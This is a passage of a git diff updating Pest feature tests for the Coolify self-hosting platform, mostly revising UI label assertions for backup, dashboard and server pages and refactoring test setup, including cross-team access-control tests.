Zone')->assertSee('Frequency')- ->assertDontSee('S3 Enabled')- ->assertDontSee('Number of backups to keep')- ->assertDontSee('Cleanup Failed Backups')- ->assertDontSee('Delete Backups and Schedule');+ ->assertDontSee('Enable S3')+ ->assertDontSee('Disable S3')+ ->assertDontSee('Backups to keep')+ ->assertDontSee('Clean failed backups')+ ->assertDontSee('Delete schedule');$this->get($generalUrl.'/s3')->assertOk()->assertSeeText('No validated S3 storage')- ->assertDontSee('Disable Local Backup')+ ->assertDontSee('Local copy')->assertDontSee('Enable S3')->assertDontSee('Disable S3')- ->assertDontSee('S3 Storage Retention')- ->assertDontSee('Local Backup Retention')+ ->assertDontSee('Backups to keep')->assertDontSee('Frequency')- ->assertDontSee('Cleanup Failed Backups');-- $s3View = file_get_contents(resource_path('views/livewire/project/database/backup-edit/s3.blade.php'));- expect(strpos($s3View, '<span>S3 Storage</span>'))- ->toBeLessThan(strpos($s3View, 'label="Disable Local Backup"'));+ ->assertDontSee('Clean failed backups');$this->get($generalUrl.'/retention')->assertOk()- ->assertSee('Local Backup Retention')- ->assertSee('S3 Storage Retention')- ->assertSee('Number of backups to keep')+ ->assertSee('Local backups')+ ->assertSee('S3 backups')+ ->assertSee('Backups to keep')->assertDontSee('Frequency')- ->assertDontSee('Cleanup Failed Backups');+ ->assertDontSee('Clean failed backups');$this->get($generalUrl.'/executions')->assertOk()- ->assertSee('<h2 class="py-0">Executions</h2>', false)- ->assertDontSee('Executions <span', false)- ->assertSee('Cleanup Failed Backups')+ ->assertSee('Clean failed backups')->assertDontSee('Frequency')- ->assertDontSee('Number of backups to keep');+ ->assertDontSee('Backups to keep');$this->get($generalUrl.'/danger')->assertOk()->assertSee('Danger Zone')- ->assertSee('Delete Scheduled Backup')- ->assertSee('Delete Backups and Schedule')+ ->assertSee('Delete backup schedule')+ ->assertSee('Delete schedule')->assertDontSee('Frequency')- ->assertDontSee('Number of backups to keep')- ->assertDontSee('Cleanup Failed Backups');+ ->assertDontSee('Backups to keep')+ ->assertDontSee('Clean failed backups');});it('enables and disables a scheduled database backup from the title action', function () {@@ -220,10 +200,12 @@ it('enables and disables a scheduled database backup from the title action', fun$component = Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s])->assertSet('backupEnabled', false)- ->assertSee('Enable Backup')+ ->assertSee('Enable backup')+ ->assertDontSee('Disable backup')->call('toggleEnabled')->assertSet('backupEnabled', true)- ->assertSee('Disable Backup');+ ->assertSee('Disable backup')+ ->assertDontSee('Enable backup');expect($backup->refresh()->enabled)->toBeTruthy();@@ -258,7 +240,7 @@ it('redirects to executions after queuing a database backup with unusable S3 sto];Livewire::test(BackupEdit::class, [- 'backup' => $backup,+ 'backup' => $backup->fresh(),'availableS3Storages' => $this->team->s3s,])->call('backupNow')@@ -490,7 +472,6 @@ it('shows only an empty S3 state when no storages are available', function () {]);Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s, 'section' => 's3'])- ->assertSeeHtml('<h2>S3 storage</h2>')->assertSeeText('No validated S3 storage')->assertSeeHtml('href="'.route('storage.index').'"')->assertSeeText('Open S3 storage')@@ -498,7 +479,7 @@ it('shows only an empty S3 state when no storages are available', function () {->assertDontSee('Enable S3')->assertDontSee('Disable S3')->assertDontSee('S3 Storage')- ->assertDontSee('Disable Local Backup')+ ->assertDontSee('Local copy')->assertDontSee('No S3 storage available');});@@ -534,8 +515,10 @@ it('shows when S3 backups are currently disabled', function () {]);Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 'availableS3Storages' => $this->team->s3s, 'section' => 's3'])- ->assertSee('S3 Storage')- ->assertSee('(currently disabled)');+ // Disabled S3 backups are indicated by the "Enable S3" title action+ ->assertSee('S3 storage')+ ->assertSee('Enable S3')+ ->assertDontSee('Disable S3');});it('saves selected S3 storage immediately when it changes', function () {@@ -616,22 +599,3 @@ it('disables Back up now after refresh when the database stops', function () {expect($component->html())->toMatch('/<button\s+disabled[^>]*wire:click="backupNow"/s');});--it('renders S3 backup selectors outside the scrollable modal', function () {- createS3StorageForBackupEditValidationTest($this->team);- $backup = createBackupForEditValidationTest($this->team);- $html = Livewire::test(BackupEdit::class, [- 'backup' => $backup->fresh(),- 'availableS3Storages' => $this->team->s3s,- 'section' => 's3',- ])->html();-- $dom = new DOMDocument;- @$dom->loadHTML($html);- $xpath = new DOMXPath($dom);- foreach (['s3StorageId-panel', 'disableLocalBackup-panel'] as $panelId) {- $panels = $xpath->query('//template[@x-teleport="body"]/div[@id="'.$panelId.'"]');- expect($panels->length)->toBe(1);- expect($panels->item(0)->getAttribute('style'))->toContain('position: fixed', 'z-index: 9999');- }-});diff --git a/tests/Feature/BackupNowAvailabilityTest.php b/tests/Feature/BackupNowAvailabilityTest.phpindex 7c103e001f..3d03994201 100644--- a/tests/Feature/BackupNowAvailabilityTest.php+++ b/tests/Feature/BackupNowAvailabilityTest.php@@ -2,7 +2,6 @@use App\Jobs\DatabaseBackupJob;use App\Livewire\Project\Database\BackupEdit;-use App\Livewire\Project\Database\BackupNow;use App\Livewire\Project\Service\VolumeBackup\Index;use App\Models\Environment;use App\Models\InstanceSettings;@@ -63,8 +62,6 @@ beforeEach(function () {dataset('database backup controls', ['standalone settings' => [BackupEdit::class, 'standalone'],'service settings' => [BackupEdit::class, 'service'],- 'standalone button' => [BackupNow::class, 'standalone'],- 'service button' => [BackupNow::class, 'service'],'service list' => [Index::class, 'service'],]);diff --git a/tests/Feature/BackupSearchTest.php b/tests/Feature/BackupSearchTest.phpindex 7bb1b14115..d85de2e1c1 100644--- a/tests/Feature/BackupSearchTest.php+++ b/tests/Feature/BackupSearchTest.php@@ -117,7 +117,7 @@ it('renders frontend-only database backup search data for database names and fre->assertSee('Archive-Bucket')->assertSee('archive-bucket', false)->assertSee('backup.s3_storage.includes(query)', false)- ->assertSee('Search backup schedules')+ ->assertSee('placeholder="Search backups"', false)->assertSee('x-model="search"', false)->assertSee('x-show=', false)->assertSee('No matching backup schedules');diff --git a/tests/Feature/BreadcrumbsVisibilityTest.php b/tests/Feature/BreadcrumbsVisibilityTest.phpindex f7a42e358b..c9b12d7777 100644--- a/tests/Feature/BreadcrumbsVisibilityTest.php+++ b/tests/Feature/BreadcrumbsVisibilityTest.php@@ -48,24 +48,22 @@ it('hides the breadcrumb trail on mobile while keeping the current status visibl]));$response->assertSuccessful();- $response->assertSee('flex min-w-0 flex-col gap-1 md:hidden', false);- $response->assertSee('flex min-w-0 items-center text-xs text-neutral-400', false);- $response->assertSee('hidden flex-wrap items-center gap-y-1 md:flex', false);- $response->assertSee('flex flex-wrap items-center gap-1', false);- $response->assertSee(- 'scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible',- false,- );- $response->assertSee('shrink-0', false);- $response->assertSee('Actions');- $response->assertSee('dropdown-item-touch', false);- $response->assertSee('hidden flex-wrap items-center gap-2 md:flex', false);- $response->assertSee('window.innerWidth >= 768', false);- $response->assertSee(':style="panelStyles"', false);- $response->assertSee('absolute top-full z-50 mt-1 min-w-max max-w-[calc(100vw-1rem)] md:top-0 md:mt-6', false);- $response->assertSee('Pure Dockerfile Example');++ // The resource breadcrumb lives in the top bar (project / environment / resource switchers).+ $response->assertSee('title="Switch project"', false);+ $response->assertSee('title="Switch environment"', false);+ $response->assertSee('title="Switch resource"', false);++ // Desktop resource actions dock into the top bar; the slot is hidden below xl.+ $response->assertSee('<div id="resource-action-hud-slot" class="hidden shrink-0 items-center xl:flex"></div>', false);++ // Below xl, the heading keeps the resource name, current status, and a split action visible.+ expect(preg_match(+ '/<div class="mb-3 w-full xl:hidden">.*?<h1[^>]*>\s*Pure Dockerfile Example\s*<\/h1>.*?Application status/s',+ $response->getContent()+ ))->toBe(1);+ $response->assertSee('id="application-mobile-actions"', false);$response->assertSee('Running');- $response->assertSee('pt-2 pb-4 md:pb-10', false);expect($response->getContent())->not->toContain('hidden pt-2 pb-10 md:flex');});diff --git a/tests/Feature/CleanupUnsubscribedServersTest.php b/tests/Feature/CleanupUnsubscribedServersTest.phpindex ee3fdb02d7..53b0160d8a 100644--- a/tests/Feature/CleanupUnsubscribedServersTest.php+++ b/tests/Feature/CleanupUnsubscribedServersTest.php@@ -27,6 +27,9 @@ it('sets unreachable fields on servers when subscription ends', function () {});it('cleans up unsubscribed server IP after 7 days via cleanup command', function () {+ // Subscriptions only exist on Coolify Cloud; self-hosted instances force-disable the server instead.+ config(['constants.coolify.self_hosted' => false]);+$team = Team::factory()->create();$server = Server::factory()->create(['team_id' => $team->id,diff --git a/tests/Feature/CloudProviderLinkDropdownTest.php b/tests/Feature/CloudProviderLinkDropdownTest.phpindex b05f081734..59cf37f97b 100644--- a/tests/Feature/CloudProviderLinkDropdownTest.php+++ b/tests/Feature/CloudProviderLinkDropdownTest.php@@ -60,7 +60,7 @@ it('shows link cloud provider dropdown with available unlinked providers', funct]);Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])- ->assertSee('Link Cloud Provider')+ ->assertSee('Link provider')->assertSee('Hetzner')->assertSee('DigitalOcean')->assertSee('Vultr')@@ -70,13 +70,13 @@ it('shows link cloud provider dropdown with available unlinked providers', funct->assertSee('Server ID')->assertSee('Droplet ID')->assertSee('Instance ID')- ->assertSee('Search by IP')+ ->assertSee('Search by server IP')->assertSee('Search');});it('hides link cloud provider dropdown when no providers can be linked', function () {Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])- ->assertDontSee('Link Cloud Provider');+ ->assertDontSee('Link provider');});it('does not list providers already linked to the server', function () {@@ -97,7 +97,7 @@ it('does not list providers already linked to the server', function () {$this->server->update(['hetzner_server_id' => 123]);Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])- ->assertSee('Link Cloud Provider')+ ->assertSee('Link provider')->assertSee('Vultr Token')->assertDontSee('Hetzner Token');});diff --git a/tests/Feature/ComposeEditorLayoutTest.php b/tests/Feature/ComposeEditorLayoutTest.phpindex 9aec3bbf1c..88138480c9 100644--- a/tests/Feature/ComposeEditorLayoutTest.php+++ b/tests/Feature/ComposeEditorLayoutTest.php@@ -2,74 +2,6 @@use Illuminate\Support\Facades\Blade;-it('uses the large modal treatment for the compose editor', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/stack-form.blade.php'));- $modal = file_get_contents(resource_path('views/components/modal-input.blade.php'));-- expect($view)- ->toContain('title="Docker Compose"')- ->toContain(':isLarge="true"')- ->toContain('<x-slot:footer>')- ->not->toContain('<x-slot:headerActions>')- ->toContain("\$dispatch('compose-preview-toggle')")- ->toContain("\$dispatch('compose-save')")- ->toContain('@compose-save-finished.window="saving = false"')- ->toContain('@compose-validate-finished.window="validating = false"')- ->toContain('@click="validating = true; $dispatch(\'compose-validate\')"')- ->toContain('x-bind:disabled="validating"')- ->toContain('<x-loading-on-button x-show="validating" x-cloak />')- ->toContain('<x-loading-on-button x-show="saving" x-cloak />')- ->toContain('x-bind:disabled="saving"')- ->not->toContain('name="refresh"')- ->not->toContain("saving ? 'Saving...' : 'Save changes'")- ->not->toContain(' :disabled="saving"')- ->toContain('Preview generated Compose')- ->toContain('Back to source Compose')- ->toContain('Save changes')- ->toContain('isHighlighted');-- expect($modal)->toContain('lg:w-[95vw]! lg:max-w-7xl!');-});--it('renders the compose editor with clear guidance settings and actions', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/edit-compose.blade.php'));-- expect($view)- ->toContain('<x-callout type="info" title="Volume names">')- ->not->toContain('View the final names')- ->toContain('Use plain-text editor')- ->toContain('min-h-[24rem]')- ->toContain('@compose-preview-toggle.window')- ->toContain('@compose-save.window')- ->toContain('@compose-validate.window="$wire.validateCompose().finally(() => $dispatch(\'compose-validate-finished\'))"')- ->not->toContain("finally(() => \$dispatch('compose-save-finished'))")- ->not->toContain('sticky bottom-0')- ->not->toContain('Cancel')- ->not->toContain('Show Normal Textarea')- ->not->toContain('Show Deployable Compose');-});--it('keeps the compose modal usable on mobile screens', function () {- $stackForm = file_get_contents(resource_path('views/livewire/project/service/stack-form.blade.php'));- $editor = file_get_contents(resource_path('views/livewire/project/service/edit-compose.blade.php'));- $modal = file_get_contents(resource_path('views/components/modal-input.blade.php'));-- expect($modal)- ->toContain('justify-center p-2')- ->toContain('sm:p-4')- ->toContain('flex-wrap! sm:flex-nowrap!')- ->toContain('@isset($footer)')- ->toContain('justify-end gap-2 border-t')- ->toContain('order-2 sm:order-none');-- expect($stackForm)- ->toContain('flex-wrap items-center justify-end gap-2');-- expect($editor)- ->toContain('flex-col items-stretch')- ->toContain('sm:flex-row sm:flex-wrap sm:items-center');-});-it('keeps the save button loading until the parent compose save finishes', function () {$component = file_get_contents(app_path('Livewire/Project/Service/StackForm.php'));diff --git a/tests/Feature/CopyButtonComponentTest.php b/tests/Feature/CopyButtonComponentTest.phpindex 7177da08e8..520f4d7a89 100644--- a/tests/Feature/CopyButtonComponentTest.php+++ b/tests/Feature/CopyButtonComponentTest.php@@ -21,22 +21,3 @@ it('evaluates a resolve expression at click time instead of a static value', fun$html->assertSee('await ($wire.copyValue())', false)->assertDontSee('disabled', false);});--it('is the single clipboard implementation shared by its call sites', function () {- expect(file_get_contents(resource_path('js/copy-button.js')))- ->toContain("window.Alpine.data('copyButton'");-- expect(file_get_contents(resource_path('js/app.js')))- ->toContain('initializeCopyButtonComponent');-- $modalConfirmation = file_get_contents(resource_path('views/components/modal-confirmation.blade.php'));- $backupExecutions = file_get_contents(resource_path('views/livewire/project/database/backup-executions.blade.php'));-- expect($modalConfirmation)- ->toContain('<x-copy-button resolve="decodedText"')- ->not->toContain('navigator.clipboard');-- expect($backupExecutions)- ->toContain('<x-copy-button :value="data_get($execution, \'filename\', \'\')" label="Copy backup path"')- ->not->toContain('navigator.clipboard');-});diff --git a/tests/Feature/CrossTeamIdorLogsTest.php b/tests/Feature/CrossTeamIdorLogsTest.phpindex 4d12e93404..5e62ab0cb4 100644--- a/tests/Feature/CrossTeamIdorLogsTest.php+++ b/tests/Feature/CrossTeamIdorLogsTest.php@@ -2,28 +2,34 @@use App\Models\Application;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;use App\Models\Server;use App\Models\Service;use App\Models\StandaloneDocker;use App\Models\Team;use App\Models\User;+use Illuminate\Foundation\Testing\RefreshDatabase;++uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0]);+// Attacker: Team A$this->userA = User::factory()->create();$this->teamA = Team::factory()->create();$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);- $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);+ $this->destinationA = StandaloneDocker::where('server_id', $this->serverA->id)->firstOrFail();$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);// Victim: Team B$this->teamB = Team::factory()->create();$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);- $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);+ $this->destinationB = StandaloneDocker::where('server_id', $this->serverB->id)->firstOrFail();$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);@@ -37,6 +43,7 @@ beforeEach(function () {'environment_id' => $this->environmentB->id,'destination_id' => $this->destinationB->id,'destination_type' => StandaloneDocker::class,+ 'server_id' => $this->serverB->id,]);// Act as attacker@@ -85,6 +92,7 @@ test('can access logs of own service', function () {'environment_id' => $this->environmentA->id,'destination_id' => $this->destinationA->id,'destination_type' => StandaloneDocker::class,+ 'server_id' => $this->serverA->id,]);$response = $this->get(route('project.service.logs', [diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.phpindex aa3cb235cf..bbab5fb888 100644--- a/tests/Feature/CrossTeamIdorServerProjectTest.php+++ b/tests/Feature/CrossTeamIdorServerProjectTest.php@@ -8,6 +8,7 @@ use App\Livewire\Project\DeleteProject;use App\Models\Application;use App\Models\ApplicationDeploymentQueue;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\PrivateKey;use App\Models\Project;use App\Models\Server;@@ -21,6 +22,8 @@ use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);+// Attacker: Team A$this->userA = User::factory()->create();$this->teamA = Team::factory()->create();@@ -170,7 +173,8 @@ describe('DeployController API Server IDOR', function () {// Create a deployment queue entry that references Team B's server as build_server$application = Application::factory()->create(['environment_id' => $this->environmentA->id,- 'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,+ // Server::booted() already creates the server's default StandaloneDocker destination.+ 'destination_id' => StandaloneDocker::where('server_id', $this->serverA->id)->firstOrFail()->id,'destination_type' => StandaloneDocker::class,]);@@ -183,10 +187,12 @@ describe('DeployController API Server IDOR', function () {]);$token = $this->userA->createToken('test-token', ['*']);+ // Authenticate the API call with the bearer token only, not the session user from beforeEach.+ $this->app['auth']->forgetGuards();$response = $this->withHeaders(['Authorization' => 'Bearer '.$token->plainTextToken,- ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");+ ])->postJson("/api/v1/deployments/{$deployment->deployment_uuid}/cancel");// The cancellation should proceed but the build_server should NOT be found// (team-scoped query returns null for Team B's server)diff --git a/tests/Feature/DashboardDeploymentsTest.php b/tests/Feature/DashboardDeploymentsTest.phpindex 287caf637f..6ef6f05ab0 100644--- a/tests/Feature/DashboardDeploymentsTest.php+++ b/tests/Feature/DashboardDeploymentsTest.php@@ -53,17 +53,6 @@ function createDashboardDeployment(array $overrides = []): ApplicationDeployment], $overrides));}-it('shows a visible yellow inset focus state on deployment rows', function () {- $view = file_get_contents(resource_path('views/livewire/dashboard/active-deployments.blade.php'));-- expect(substr_count($view, 'focus-visible:bg-warning/10'))->toBe(4)- ->and(substr_count($view, 'focus-visible:ring-1'))->toBe(2)- ->and(substr_count($view, 'focus-visible:ring-inset'))->toBe(2)- ->and(substr_count($view, 'focus-visible:ring-warning'))->toBe(2)- ->and(substr_count($view, 'focus-visible:ring-offset-0'))->toBe(2)- ->and(substr_count($view, 'dark:focus-visible:bg-warning/10'))->toBe(2);-});-it('hides the deployments section when there is nothing to show', function () {Livewire::test(ActiveDeployments::class)->assertDontSee('Active and recent deployment activity')diff --git a/tests/Feature/DashboardHttpsRedirectTest.php b/tests/Feature/DashboardHttpsRedirectTest.phpindex d709b84289..1e4a4824c3 100644--- a/tests/Feature/DashboardHttpsRedirectTest.php+++ b/tests/Feature/DashboardHttpsRedirectTest.php@@ -58,22 +58,6 @@ test('instance administrators can configure the dashboard HTTPS redirect', functexpect($settings->fresh()->is_dashboard_force_https_enabled)->toBeFalse();});-test('dashboard HTTPS redirect saves immediately when changed', function () {- $contents = file_get_contents(resource_path('views/livewire/settings/index.blade.php'));-- expect($contents)- ->toMatch('/id="is_dashboard_force_https_enabled"[\s\S]*?onChange="submit"/')- ->and($contents)->not->toContain('targets="fqdn,is_dashboard_force_https_enabled');-});--test('dashboard HTTPS redirect is next to the URL on desktop', function () {- $contents = file_get_contents(resource_path('views/livewire/settings/index.blade.php'));-- expect($contents)- ->toContain("'lg:col-span-2' => !str_starts_with")- ->not->toContain('<div class="lg:col-span-2 max-w-md">');-});-test('dashboard HTTPS redirect control is hidden for an HTTP URL', function () {$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]);diff --git a/tests/Feature/DashboardServerMetricsChartTest.php b/tests/Feature/DashboardServerMetricsChartTest.phpindex c1208106b7..eecae59f24 100644--- a/tests/Feature/DashboardServerMetricsChartTest.php+++ b/tests/Feature/DashboardServerMetricsChartTest.php@@ -63,44 +63,3 @@ it('renders dashboard metrics charts on the server index grid', function () {->assertSeeHtml("dashboard-server-metrics-{$enabledServer->uuid}")->assertDontSeeHtml("dashboard-server-metrics-{$disabledServer->uuid}");});--it('configures the dashboard chart as a ten minute cpu and memory sparkline with hover details', function () {- $chart = file_get_contents(resource_path('views/livewire/dashboard/server-metrics-chart.blade.php'));- $component = file_get_contents(app_path('Livewire/Dashboard/ServerMetricsChart.php'));-- expect($component)- ->toContain('$this->server->getCpuMetrics(10)')- ->toContain('$this->server->getMemoryMetrics(10)');- expect($chart)- ->toContain('new ApexCharts')- ->toContain('sparkline: { enabled: true }')- ->toContain('absolute right-0 bottom-0 h-2/3 w-full')- ->toContain('[&_.apexcharts-svg]:overflow-hidden')- ->not->toContain('w-full overflow-hidden rounded-b-xl')- ->toContain('CPU:')- ->toContain('Memory:')- ->toContain('formatLocalTimestamp(timestamp)')- ->toContain('formatUtcTimestamp(timestamp)')- ->toContain("min: 0,\n max: 100,")- ->toContain('labels: { show: false }');-});--it('refreshes dashboard metrics every minute while visible and after returning from the background', function () {- $chart = file_get_contents(resource_path('views/livewire/dashboard/server-metrics-chart.blade.php'));-- expect($chart)- ->toContain('window.setInterval')- ->toContain('60000')- ->toContain('document.hidden')- ->toContain("document.addEventListener('visibilitychange'")- ->toContain('Date.now() - this.hiddenAt >= 60000')- ->toContain('$wire.loadData()')- ->toContain('window.clearInterval')- ->toContain("document.removeEventListener('visibilitychange'");-});--it('keeps the status badge only on server cards without metrics', function () {- $dashboard = file_get_contents(resource_path('views/livewire/dashboard.blade.php'));-- expect($dashboard)->toContain('@unless ($server->isMetricsEnabled())');-});diff --git a/tests/Feature/DashboardServersEmptyStateTest.php b/tests/Feature/DashboardServersEmptyStateTest.phpindex 4fbe0209c8..871bd76943 100644--- a/tests/Feature/DashboardServersEmptyStateTest.php+++ b/tests/Feature/DashboardServersEmptyStateTest.php@@ -30,7 +30,6 @@ it('shows an add private key button when no private keys exist', function () {->assertSee('A private key is required')->assertSee('Add an SSH private key before connecting your first server.')->assertSee('Add private key')- ->assertSeeHtml('button button-highlighted')->assertSee(route('security.private-key.index'), false);});@@ -66,35 +65,6 @@ it('does not show server empty state when servers exist', function () {->assertDontSee('No servers yet');});-it('renders clickable server cards without a decorative arrow control', function () {- $privateKey = PrivateKey::factory()->create([- 'team_id' => $this->team->id,- ]);-- $server = Server::factory()->create([- 'team_id' => $this->team->id,- 'private_key_id' => $privateKey->id,- 'name' => 'Production Host',- ]);-- Livewire::test(Dashboard::class)- ->assertSee('Production Host')- ->assertSeeHtml('aria-label="Open Production Host"')- ->assertSeeHtml(route('server.show', ['server_uuid' => $server->uuid]))- // Decorative arrow used z-10 over the full-card link and blocked clicks.- ->assertDontSeeHtml('group-hover:bg-neutral-100 group-hover:text-black dark:text-fg-faint dark:group-hover:bg-white/[0.06]');-});--it('keeps resource grid cards free of decorative open chevrons', function () {- $view = file_get_contents(resource_path('views/livewire/project/resource/index.blade.php'));-- expect($view)- ->toContain('absolute inset-0 rounded-xl')- ->toContain('aria-label="`Open ${item.name}`"')- // Decorative card chevrons used a dedicated size-7 open control.- ->not->toContain('flex size-7 shrink-0 items-center justify-center rounded-md text-neutral-400 transition-colors hover:bg-neutral-100 hover:text-black dark:text-fg-faint dark:hover:bg-white/[0.06] dark:hover:text-fg');-});-it('hides the add private key button for members without create permission', function () {$member = User::factory()->create();$member->teams()->attach($this->team, ['role' => 'member']);diff --git a/tests/Feature/DatabaseHealthCheckTest.php b/tests/Feature/DatabaseHealthCheckTest.phpindex 9ccc3c53fb..7ef69c53b3 100644--- a/tests/Feature/DatabaseHealthCheckTest.php+++ b/tests/Feature/DatabaseHealthCheckTest.php@@ -1,8 +1,19 @@<?phpuse App\Livewire\Project\Database\Health;+use App\Models\Environment;+use App\Models\InstanceSettings;+use App\Models\Project;+use App\Models\Server;+use App\Models\StandaloneDocker;use App\Models\StandalonePostgresql;+use App\Models\Team;+use App\Models\User;use Illuminate\Auth\Access\AuthorizationException;+use Illuminate\Foundation\Testing\RefreshDatabase;+use Livewire\Livewire;++uses(RefreshDatabase::class);it('defaults to an enabled healthcheck when nothing is configured', function () {$database = new StandalonePostgresql;@@ -113,63 +124,38 @@ it('does not mark configuration changed when health update authorization fails',});it('toggles database healthcheck and marks configuration changed', function () {- $database = new class- {- public ?string $config_hash = 'existing';-- public bool $health_check_enabled = false;-- public int $health_check_interval = 15;-- public int $health_check_timeout = 5;-- public int $health_check_retries = 5;-- public int $health_check_start_period = 5;-- public int $saveCalls = 0;-- public function save(): void- {- $this->saveCalls++;- }- };-- $component = new class extends Health- {- public array $dispatchedEvents = [];-- public function authorize($ability, $arguments = [])- {- return true;- }-- public function dispatch($event, ...$params)- {- $this->dispatchedEvents[] = $event;-- return null;- }-- public function syncData(bool $toModel = false): void- {- if ($toModel) {- $this->database->health_check_enabled = $this->healthCheckEnabled;- $this->database->save();- }- }- };-- $component->database = $database;- $component->healthCheckEnabled = false;- $component->healthCheckInterval = 15;- $component->healthCheckTimeout = 5;- $component->healthCheckRetries = 5;- $component->healthCheckStartPeriod = 5;-- $component->toggleHealthcheck();-- expect($database->health_check_enabled)->toBeTrue()- ->and($database->saveCalls)->toBe(1)- ->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);+ InstanceSettings::forceCreate(['id' => 0]);+ $user = User::factory()->create();+ $team = Team::factory()->create();+ $user->teams()->attach($team, ['role' => 'owner']);+ $this->actingAs($user);+ session(['currentTeam' => $team]);++ $server = Server::factory()->create(['team_id' => $team->id]);+ $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();+ $project = Project::factory()->create(['team_id' => $team->id]);+ $environment = Environment::factory()->create(['project_id' => $project->id]);+ $database = StandalonePostgresql::create([+ 'name' => 'db',+ 'postgres_user' => 'postgres',+ 'postgres_password' => 'password',+ 'postgres_db' => 'db',+ 'image' => 'postgres:17',+ 'health_check_enabled' => false,+ 'environment_id' => $environment->id,+ 'destination_id' => $destination->id,+ 'destination_type' => $destination->getMorphClass(),+ ]);+ $database->config_hash = 'existing';+ $database->saveQuietly();+ $database->refresh();++ Livewire::test(Health::class, ['database' => $database])+ ->assertSet('healthCheckEnabled', false)+ ->call('toggleHealthcheck')+ ->assertSet('healthCheckEnabled', true)+ ->assertDispatched('success')+ ->assertDispatched('configurationChanged');++ expect($database->fresh()->health_check_enabled)->toBeTrue();});diff --git a/tests/Feature/DatabasePersistentStorageLayoutTest.php b/tests/Feature/DatabasePersistentStorageLayoutTest.phpindex 5fefa3ce71..85632d9511 100644--- a/tests/Feature/DatabasePersistentStorageLayoutTest.php+++ b/tests/Feature/DatabasePersistentStorageLayoutTest.php@@ -1,18 +1,12 @@<?php-it('keeps editable standalone database storage actions in the table action column', function () {+it('gates standalone database storage actions behind the update permission', function () {$component = file_get_contents(app_path('Livewire/Project/Shared/Storages/All.php'));$view = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));expect($component)->toContain('$this->showActionsColumn = $this->canUpdate;')- ->toContain('$this->showBackupAction = $this->resource instanceof Application')- ->toContain('if (! $this->showBackupAction)')->and($view)->toContain('@if ($showActionsColumn)')- ->toContain('@if ($showBackupAction)')- ->toContain('title="New Scheduled Backup"')- ->toContain('<livewire:project.database.create-scheduled-backup :database="$resource"')- ->toContain('aria-label="Configure backup"')- ->toContain('<x-reicon name="database" class="size-4" />');+ ->toContain('canGate="update"');});diff --git a/tests/Feature/DatabasePublicPortTimeoutApiTest.php b/tests/Feature/DatabasePublicPortTimeoutApiTest.phpindex 6bbc6279f3..fd7dd7e046 100644--- a/tests/Feature/DatabasePublicPortTimeoutApiTest.php+++ b/tests/Feature/DatabasePublicPortTimeoutApiTest.php@@ -14,7 +14,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;uses(RefreshDatabase::class);beforeEach(function () {- InstanceSettings::updateOrCreate(['id' => 0]);+ InstanceSettings::forceCreate(['id' => 0]);$this->team = Team::factory()->create();$this->user = User::factory()->create();@@ -138,7 +138,7 @@ describe('POST /api/v1/databases/postgresql', function () {'instant_deploy' => false,]);- $response->assertStatus(200);+ $response->assertStatus(201);$uuid = $response->json('uuid');$database = StandalonePostgresql::whereUuid($uuid)->first();expect($database)->not->toBeNull();diff --git a/tests/Feature/DatabaseSslStatusRefreshTest.php b/tests/Feature/DatabaseSslStatusRefreshTest.phpindex 06a29aaa31..93cfcf2442 100644--- a/tests/Feature/DatabaseSslStatusRefreshTest.php+++ b/tests/Feature/DatabaseSslStatusRefreshTest.php@@ -25,6 +25,7 @@ use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;use App\Livewire\Server\Sentinel;use App\Livewire\Server\Show;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;use App\Models\Server;use App\Models\Service;@@ -40,6 +41,8 @@ use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0]);+$this->team = Team::factory()->create();$this->user = User::factory()->create();$this->team->members()->attach($this->user->id, ['role' => 'owner']);@@ -48,6 +51,15 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});+function sslToggleIsDisabled(string $html): bool+{+ preg_match('/<button[^>]*id="enableSsl-trigger"[^>]*>/s', $html, $matches);++ expect($matches)->not->toBeEmpty();++ return (bool) preg_match('/\sdisabled(\s|=|>)/', $matches[0]);+}+dataset('database-general-forms-without-broadcasts', [// Status-derived display moved into a sibling StatusInfo component for each DB,// so the form itself takes no broadcast listeners and cannot clobber wire:dirty@@ -222,12 +234,15 @@ it('reloads the mysql status-info model when refresh is called so ssl controls f]);$component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])- ->assertDontSee('Database should be stopped to change this settings.');+ ->assertSee('Encryption settings 